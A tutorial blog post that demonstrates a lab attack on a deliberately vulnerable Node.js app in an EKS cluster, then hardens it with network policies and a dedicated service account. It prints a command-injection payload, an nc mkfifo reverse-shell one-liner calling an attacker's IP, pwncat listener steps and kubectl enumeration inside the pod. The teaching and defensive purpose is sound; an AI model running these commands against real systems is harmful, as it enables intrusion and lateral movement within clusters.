Out of the box, a brand-new Kubernetes deployment is insecure by default.
It is a blessing for development since we can focus on building applications without going through too much red tape.
Once we move into production, however, that's when we need to double down on security.
In this blog post, you will learn two approaches to make your cluster more secure.
We will start by exploiting a vulnerable application and enumerating cluster resources.
Please note: The attack scenario here is only for demonstration purposes and the vulnerable application.
The attack scenario
A Kubernetes cluster runs a vulnerable Node.js application that's public-facing. We will use this application to gain access to the pod and other resources within the cluster.
Setup
Our setup consists of:
- A EKS Cluster
- A vulnerable Node.js workload
- A Grafana workload
- An operator workload
- An EC2 virtual machine to drive the attack from
- With pwncat-cs installed
Clone the following repository and follow the instructions in the README:
https://github.com/schultyy/vulnerable-k8s-deployment
This setup consists of an AWS Kubernetes Cluster, a Node.js application vulnerable to command injection, and a service living in another namespace.
The script you run sets up everything so we can start immediately.
We won't go through the steps of setting up a public-facing load balancer. Instead, we'll simulate it by port-forwarding the service:
kubectl port-forward svc/syringe-service 8080:8080
Attacking an application via command injection
The application we're looking at today has a straightforward task: Check if a service behind a domain name is available.
The output suggests that it seems to run the ping command behind the scenes. That's a perfect opportunity to test if we can inject other commands.
Open the page again, and provide google.com; whoami as input.
The output confirms it: the input is not sanitized, and we can run arbitrary commands. We just discovered a vulnerability we can leverage to gain access.
Gaining access with a reverse shell
Open revshells.com in your browser. We want to open a reverse shell into the container. Get the public IP address from your EC2 machine and paste it into the IP address field. For port, choose 8888.
Scroll through the list until you find nc mkfifo. Copy the command.
Example:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <IP ADDRESS> 8888 >/tmp/f
We're using pwncat-cs to listen for incoming connections and elevate to a shell. Log into the EC2 VM and run:
pwncat-cs -lp 8888
Now that we're listening for incoming connections, return to the browser and open the application tab again. Paste a domain together with the revshell string into the application's text field:
google.com ; <REV SHELL String>
Once you click submit, the tab will show a loading indicator.
Go back to your terminal. pwncat should have accepted a new incoming connection by now. Your output should look similar to the following example:
ubuntu@ip-172-31-12-79:~$ pwncat-cs -lp 8888
[15:11:04] Welcome to pwncat 🐈! __main__.py:164
[15:11:13] received connection from <IP>:35812 bind.py:84
[15:11:14] 0.0.0.0:8888: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
[15:11:15] <IP>:35812: registered new host w/ db manager.py:957
(local) pwncat$
Install kubectl
Once we have gained access to the pod, we want to discover additional Kubernetes resources.
For that, we'll need the kubectl command line tool. On your EC2 virtual machine, go ahead and run the following command. Please ensure you're in the same directory as in the other session where pwncat runs.
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
Next, upload the binary to the pod via pwncat. In the pwncat terminal, run:
upload kubectl
The upload might take a few seconds. Once finished, press CTRL+D to switch to the remote shell.
pwncat copied the binary into the WORKDIR of the container. Let's move it out of there first and make it executable:
mv kubectl /opt
cd /opt
chmod +x kubectl
Enumerate Kubernetes
Now that we're ready to investigate the system a bit closer let's start by looking at the currently available permissions:
./kubectl auth can-i --list
Turns out, we have a few different things we can do:
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
pods [] [] [get list]
...
The output above indicates we can see namespaces and pods. Listing all pods returns this:
./kubectl get pods
NAME READY STATUS RESTARTS AGE
operator-56854d79f9-7xj49 1/1 Running 1 (7m45s ago) 67m
syringe-deployment-7d4bf479f5-qbnmq 1/1 Running 0 72m
We see the syringe pod, which is our current pod. It seems there's also some operator running.
Looking at namespaces:
./kubectl get ns
NAME STATUS AGE
default Active 8d
grafana Active 43m
kube-node-lease Active 8d
kube-public Active 8d
kube-system Active 8d
Our current pod is one of many tenants. Besides system namespaces and default, there's also grafana. Some probing reveals:
curl -XGET -v -L http://grafana.grafana.svc.cluster.local:3000
Note: Unnecessary use of -X or --request, GET is already inferred.
* Trying 10.100.173.100:3000...
* Connected to grafana.grafana.svc.cluster.local (10.100.173.100) port 3000 (#0)
> GET / HTTP/1.1
> Host: grafana.grafana.svc.cluster.local:3000
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 302 Found
< Cache-Control: no-cache
< Content-Type: text/html; charset=utf-8
< Expires: -1
< Location: /login
< Pragma: no-cache
< Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
< X-Content-Type-Options: nosniff
< X-Frame-Options: deny
< X-Xss-Protection: 1; mode=block
< Date: Thu, 07 Sep 2023 20:52:12 GMT
< Content-Length: 29
<
* Ignoring the response-body
* Connection #0 to host grafana.grafana.svc.cluster.local left intact
* Issue another request to this URL: 'http://grafana.grafana.svc.cluster.local:3000/login'
* Found bundle for host: 0x558871016900 [serially]
* Can not multiplex, even if we wanted to
* Re-using existing connection #0 with host grafana.grafana.svc.cluster.local
> GET /login HTTP/1.1
> Host: grafana.grafana.svc.cluster.local:3000
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache
< Content-Type: text/html; charset=UTF-8
< Expires: -1
< Pragma: no-cache
< X-Content-Type-Options: nosniff
< X-Frame-Options: deny
< X-Xss-Protection: 1; mode=block
< Date: Thu, 07 Sep 2023 20:52:12 GMT
< Transfer-Encoding: chunked
....
We can access the service, even if it lives in another namespace, belonging to another application or team.
Why is accessing services in other namespaces problematic?
As an attacker, we gained access to a Kubernetes cluster by leveraging a command injection vulnerability in an application.
While we don't have cluster-admin permissions, running kubectl revealed enough information to discover other services that can potentially be exploited.
In this scenario, the other namespace contains a Grafana instance. Grafana could become another target to gain more access.
Thinking further, what if, instead of Grafana, we discovered a database instance? Depending on how secrets are stored and managed within the cluster, gaining access and stealing sensitive customer data might be straightforward.
Let's start making some changes to the system to prevent further access.
Remediation
The following steps will cover changes to the Kubernetes cluster itself to make it more difficult for attackers to gain access. In a real-world scenario, you would also ensure the application cannot be used as an attack vector by addressing the command injection vulnerability.
Restrict network access with network policies
Kubernetes' default network policy allows every application to talk to any other application within the cluster. A single cluster might host several different tenants, and in most cases, these tenants don't need to communicate with each other.
Therefore, we restrict network access to outbound domains and services that are needed.
Note: Kubernetes requires a Network plugin to enforce network policies. We choose Calico for this scenario.
Apply the following rules:
kubectl apply -f- <<EOF
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
name: default-deny
namespace: default
spec:
podSelector: {}
policyTypes:
- Egress
- Ingress
---
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
name: default-deny
namespace: grafana
spec:
podSelector: {}
policyTypes:
- Egress
- Ingress
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: egress-allow
spec:
podSelector:
matchLabels:
app: syringe
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
policyTypes:
- Egress
The first two rules deny all network traffic, inbound, and output for the default and grafana namespace.
The last rule opens up traffic for outbound traffic leaving the cluster.
If this cluster hosted any additional applications that needed to communicate with Grafana, these would require different network rules.
Sharing Users
Using kubectl, we could verify the syringe pod could communicate with the Kubernetes API Server.
Since this pod only hosts regular application code, there's no need to extend privileges in the first place.
Why does the pod have these permissions, though?
Any pod running in Kubernetes has a service account associated.
The service account has certain privileges that determine if it can, for instance, access the API server to manage the cluster.
Kubernetes assigns a default service account if no other account is specified in the deployment yaml configuration.
In this case, both syringe and operator pods were deployed with the same account.
This case is an excellent example of why sharing service accounts across several applications is dangerous. The service account might have started with zero privileges but received additional ones once the operator pod started using it.
To remedy the situation, we created a new service account without privileges and assigned it to syringe.
kubectl apply -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: syringe
EOF
kubectl apply -f- <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
name: syringe-deployment
spec:
replicas: 1
selector:
matchLabels:
app: syringe
template:
metadata:
labels:
app: syringe
spec:
serviceAccountName: syringe
automountServiceAccountToken: false
containers:
- name: syringe
image: ghcr.io/schultyy/syringe:latest
imagePullPolicy: Always
ports:
- containerPort: 3000
EOF
The next time we run kubectl within the pod, we'll notice that we lack permission to see other pods and namespaces.
We can even take this a step further. To authenticate with the API server, kubectl uses a service token, automatically mounted into the pod.
To reduce the potential to act even further, we can turn off auto-mounting this token in the first place via the viaautomountServiceAccountToken: false key in the code snippet above.
Next Steps
These are only the first steps towards a secure system. To summarize:
- Make sure you define network rules to only allow necessary traffic
- Pods that don't need to interact with the API server don't need permissions
- Use separate service accounts for each deployment
- Follow best practices when building Docker images
What other best practices do you use? Share them in the comments below.
Top comments (0)